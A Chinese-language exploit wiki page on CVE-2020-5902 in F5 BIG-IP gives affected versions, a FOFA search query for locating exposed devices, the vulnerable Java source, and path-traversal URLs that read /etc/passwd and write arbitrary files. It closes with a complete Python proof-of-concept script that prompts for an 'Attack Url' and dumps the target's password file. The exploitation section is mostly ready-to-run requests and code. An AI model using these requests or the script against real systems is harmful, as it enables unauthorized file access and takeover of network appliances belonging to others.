F5 BIG-IP 远程代码执行漏洞 CVE-2020-5902

漏洞描述

2020年07月03日, 360CERT监测发现 F5 发布了 F5 BIG-IP 远程代码执行 的风险通告,该漏洞编号为 CVE-2020-5902,漏洞等级:严重

未授权的远程攻击者通过向漏洞页面发送特制的请求包,可以造成任意 Java 代码执行。进而控制 F5 BIG-IP 的全部功能,包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。该漏洞影响控制面板受影响,不影响数据面板。

漏洞影响

[!NOTE]

F5 BIG-IP 15.x: 15.1.0.4

F5 BIG-IP 14.x: 14.1.2.6

F5 BIG-IP 13.x: 13.1.3.4

F5 BIG-IP 12.x: 12.1.5.2

F5 BIG-IP 11.x: 11.6.5.2

FOFA

[!NOTE]

title="BIG-IP&reg ;- Redirect"

漏洞复现

tmshCmdservice方法处理请求的时候,未对command 参数进行处理,直接调用 WorkspaceUtils.runTmshCommand(cmd, request); 方法执行命令,限制了执行delete,create,list,modify

if ("POST".equalsIgnoreCase(request.getMethod())) {
            String[] cmdArray = command.split(" ");
            String operation = cmdArray[0];
            String module = cmdArray[2];
            if (!ShellCommandValidator.checkForBadShellCharacters(command) && (operation.equals("create") || operation.equals("delete") || operation.equals("list") || operation.equals("modify")) && WHITELISTED_TMSH_MODULES.contains(module)) {
               try {
                  String[] args = new String[]{command};
                  Result result = Syscall.callElevated(Syscall.TMSH, args);
                  output = result.getOutput();
                  error = result.getError();
               } catch (CallException var11) {
                  logger.error(NLSEngine.getString("ilx.workspace.error.TmshCommandFailed") + ": " + var11.getMessage());
                  error = var11.getMessage();
               }
            } else {
               error = NLSEngine.getString("ilx.workspace.error.RejectedTmshCommand");
}

fileReadservice方法处理请求的时候,未对 fileName 参数进行处理,直接调用 WorkspaceUtils.readFile(fileName); 方法,进行文件读取。

fileSaveservice方法处理请求的时候,未对 fileNamecontent 参数进行处理,直接调用 WorkspaceUtils.saveFile(request); 方法,进行文件上传。

详情利用方式 https://github.com/jas502n/CVE-2020-5902

详情利用方式 https://github.com/wx3514/CVE-2020-5902/blob/master/CVE-2020-5902.md

读取文件

http://xxx.xxx.xxx.xxx/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

写入文件

http://xxx.xxx.xxx.xxx/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp

POST: fileName=/tmp/test.txt&content=test

读取文件 /tmp/test

成功写入文件

漏洞利用POC

import requests
import sys
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
    print('+  \033[34m公众号 : PeiQi文库                                                     \033[0m')
    print('+  \033[34mVersion: F5 BIG-IP                                                \033[0m')
    print('+  \033[36m使用格式: python3 CVE-2020-5902.py                                  \033[0m')
    print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')
    print('+------------------------------------------')

def POC_1(target_url):
    version_url = target_url + "/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "Accept-Language":"zh-CN,zh;q=0.9",
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=version_url, timeout=10, verify=False, headers=headers)
        if "output" in response.text:
            print("\033[32m[o] 目标 {} 存在漏洞,响应为:\n{}\033[0m".format(target_url, json.loads(response.text)["output"]))
        else:
            print("\033[31m[x] 目标漏洞无法利用 \033[0m")

    except Exception as e:
        print("\033[31m[x] 目标漏洞无法利用 ,{}\033[0m".format(e))
        sys.exit(0)


if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
    POC_1(target_url)

参考文章

https://mochazz.github.io/2020/07/11/F5-BIG-IP%E6%9C%AA%E6%8E%88%E6%9D%83RCE(CVE-2020-5902)/#%E6%9C%AA%E6%8E%88%E6%9D%83%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C

PeiQi WiKi文库 all right reserved,powered by Gitbook文件更新时间: 2021-06-08 20:14:56

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